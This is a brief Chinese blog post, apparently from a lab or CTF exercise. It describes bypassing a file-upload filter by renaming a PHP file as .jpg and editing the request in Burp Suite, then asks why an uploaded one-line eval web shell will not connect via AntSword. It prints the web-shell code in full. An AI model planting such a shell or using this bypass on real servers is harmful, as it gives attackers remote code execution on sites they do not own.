文件上传漏洞—蚁剑连接地址错误、一句话木马php语法错误
题目第一步:把写有<?php phpinfo(); ?>代码的txt文件改文件名为infor.jpg,上传过程中用burpsuite抓包修改为infor.php。提示上传成功后在url中可以打开第二步:把写有<?php phpinfo(); @eval($_POST['shell']);?>代码的txt文件改文件名为infors.jpg,上传过程中用burpsuite抓包修改为infors.php。提示上传成功后在url中打开但是什么也没有显示,蚁剑也连接不上。
原创
2020-06-02 23:45:17 ·
30650 阅读 ·
12 评论